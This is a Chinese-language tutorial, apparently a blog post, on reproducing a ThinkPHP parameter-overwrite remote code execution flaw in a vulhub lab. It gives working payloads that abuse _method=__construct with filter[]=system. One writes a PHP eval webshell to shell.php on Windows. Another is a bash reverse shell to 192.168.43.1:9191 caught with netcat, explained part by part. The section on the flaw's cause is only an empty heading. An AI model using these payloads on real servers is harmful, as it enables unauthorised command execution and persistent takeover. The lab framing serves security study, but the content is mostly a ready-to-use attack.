1.Thinkphp
2.漏洞原理及成因
3.漏洞復現
首先要找到一個有漏洞的頁面!!!
然后就可以用工具去fuzz億下!!嘻嘻
?可以看見是能成功fuzz出來的!!!
于是就可以加以利用了,我們這里直接講兩種利用的方法
1.RCE(Remote Code Execute)
遠程代碼執行,那么我們肯定是要上poc啦,在上poc之前,我們要知道,這是一個因為參數覆蓋導致的RCE!!!
那么我們需要去抓包!!!
?先將get包改成post
然后再去修改參數(首先確定是Windows版本的)可以看見頁面上是返回了信息的
那么我們去ping的話應該也是可以的!!!
2.Getshell !!!
1.Windows版本
代碼執行是你的謊言,getshell才是你的真相,直接上poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php
可以看見是能夠成功的getshell的!!!?
2.Linux版本
我們也完全可以這樣做,但是呢,可以講一個新的方法
我就直接用vulhub的docker環境了
然后我們要來講這樣的一個命令
_method=__construct&filter[]=system&method=get&get[]=pwd
這個可以用來驗證!!存在漏洞!!!!
然后講一種新getshell的方法
●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"
下面來解釋一下這個命令
/bin/bash
是要執行的 shell 程序的路徑,-c
選項告訴 Bash shell 要執行后面的命令字符串。- bash -i 是啟動一個交互式的shell !!
- >& /dev/tcp/192.168.43.1/9191? ?將標準輸出和標準錯誤重定向到指定的 TCP 連接?
0>&1
將標準輸入重定向到標準輸出,使得輸入和輸出都通過 TCP 連接
這意味著命令試圖在目標主機上建立一個 TCP 連接,并將該連接與一個交互式的 Bash shell 關聯起來,以便攻擊者可以通過該連接執行命令并與目標系統進行交互。
然后,我們在在主機上開啟監聽,我這里用netcat!!(別問我端口為什么這么有特性)
?編碼之后發送即可!!
當然了,感覺這個shell還是沒有直接寫的webshell好用呢
對了還要補充一下那個編碼的網址? ?在線url網址編碼、解碼器-BeJSON.comhttps://www.bejson.com/enc/urlencode/
那么以上就是thinkphp的框架漏洞的基本原理以及復現啦